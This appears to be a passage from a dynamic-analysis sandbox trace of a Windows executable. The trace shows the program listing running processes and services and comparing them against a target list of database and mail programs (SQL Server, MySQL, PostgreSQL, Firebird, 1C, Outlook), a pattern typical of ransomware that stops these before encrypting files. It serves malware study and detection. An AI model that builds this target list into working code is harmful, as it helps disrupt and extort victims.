(lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.040] lstrlenW (lpString="MMCSS") returned 5 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0258.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0258.040] lstrlenW (lpString="MpsSvc") returned 6 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.041] lstrlenW (lpString="NlaSvc") returned 6 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.041] lstrlenW (lpString="nsi") returned 3 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.041] lstrlenW (lpString="PcaSvc") returned 6 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.041] lstrlenW (lpString="PlugPlay") returned 8 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.041] lstrlenW (lpString="Power") returned 5 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.041] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.041] lstrlenW (lpString="ProfSvc") returned 7 [0258.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.041] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.042] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.042] lstrlenW (lpString="RpcSs") returned 5 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.042] lstrlenW (lpString="SamSs") returned 5 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.042] lstrlenW (lpString="Schedule") returned 8 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.042] lstrlenW (lpString="SENS") returned 4 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.042] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.042] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.042] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0258.043] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.043] lstrlenW (lpString="Spooler") returned 7 [0258.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.043] lstrlenW (lpString="SysMain") returned 7 [0258.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.043] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.043] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.043] lstrlenW (lpString="Themes") returned 6 [0258.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0258.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0258.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0258.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0258.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0258.043] lstrlenW (lpString="UxSms") returned 5 [0258.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0258.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0258.043] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0258.043] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0258.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0258.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5920f0 | out: hHeap=0x540000) returned 1 [0258.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0 [0258.044] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.044] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.045] lstrlenW (lpString="System") returned 6 [0258.045] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0258.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0258.045] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.045] lstrlenW (lpString="smss.exe") returned 8 [0258.045] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0258.045] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.045] lstrlenW (lpString="csrss.exe") returned 9 [0258.045] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.045] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.045] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.046] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.046] lstrlenW (lpString="wininit.exe") returned 11 [0258.046] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0258.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0258.046] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.046] lstrlenW (lpString="csrss.exe") returned 9 [0258.046] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.046] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.046] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.046] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.046] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.047] lstrlenW (lpString="winlogon.exe") returned 12 [0258.047] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0258.047] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0258.047] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.047] lstrlenW (lpString="services.exe") returned 12 [0258.047] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0258.047] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0258.047] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.047] lstrlenW (lpString="lsass.exe") returned 9 [0258.048] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0258.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0258.048] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0258.048] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0258.048] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0258.048] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0258.048] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0258.048] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.048] lstrlenW (lpString="lsm.exe") returned 7 [0258.048] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0258.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0258.048] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0258.048] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0258.048] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0258.048] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0258.048] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0258.048] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.048] lstrlenW (lpString="svchost.exe") returned 11 [0258.048] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.048] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.049] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.049] lstrlenW (lpString="svchost.exe") returned 11 [0258.049] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.049] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.049] lstrlenW (lpString="svchost.exe") returned 11 [0258.049] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0258.049] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0258.049] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.050] lstrlenW (lpString="svchost.exe") returned 11 [0258.050] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0258.050] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0258.050] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0258.050] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0258.050] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0258.050] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.050] lstrlenW (lpString="svchost.exe") returned 11 [0258.050] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.050] lstrlenW (lpString="audiodg.exe") returned 11 [0258.050] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.050] lstrlenW (lpString="svchost.exe") returned 11 [0258.050] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.051] lstrlenW (lpString="svchost.exe") returned 11 [0258.051] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0258.051] lstrlenW (lpString="userinit.exe") returned 12 [0258.051] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.051] lstrlenW (lpString="dwm.exe") returned 7 [0258.051] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.051] lstrlenW (lpString="explorer.exe") returned 12 [0258.051] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.052] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.052] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.052] lstrlenW (lpString="taskhost.exe") returned 12 [0258.052] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.052] lstrlenW (lpString="svchost.exe") returned 11 [0258.052] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0258.053] lstrlenW (lpString="chrome64b.exe") returned 13 [0258.053] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.053] lstrlenW (lpString="reader_sl.exe") returned 13 [0258.053] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0258.053] lstrlenW (lpString="dllhost.exe") returned 11 [0258.053] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x598, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.053] lstrlenW (lpString="cmd.exe") returned 7 [0258.053] Process32NextW (in: hSnapshot=0x2d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.054] lstrlenW (lpString="conhost.exe") returned 11 [0258.054] Process32NextW (in: 